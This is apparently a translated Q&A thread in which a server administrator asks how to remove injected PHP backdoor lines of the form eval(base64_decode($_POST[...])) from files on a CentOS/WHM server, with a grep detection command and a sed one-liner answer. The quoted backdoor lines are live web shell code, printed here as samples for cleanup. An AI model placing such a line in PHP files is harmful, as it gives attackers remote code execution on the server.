linux - 使用 ssh 从文件中删除 eval base64_decode

Question

我在网络服务器(CentOs with WHM)上发现了几个包含以下内容的 php 文件:

eval(base64_decode($_POST['n23fcad']));?><?php

或

eval(base64_decode($_POST['n56660d']));?><?php  

等等。

我可以从 php 文件中删除这部分代码，而保持文件的其余部分完好无损吗？

现在我使用以下行来检测文件:

grep -lr --include=*.php "eval(base64_decode" .

我不知道如何删除恶意部分。正如您在 POST 括号之间看到的，代码发生了变化。所以希望有一种方法可以删除这些类型的行。

提前致谢!

Answer 1

请尝试以下方法

cat injected_file.php | sed  's/<?php.*eval.*]));?>//g' > good_file.php

它对我有用。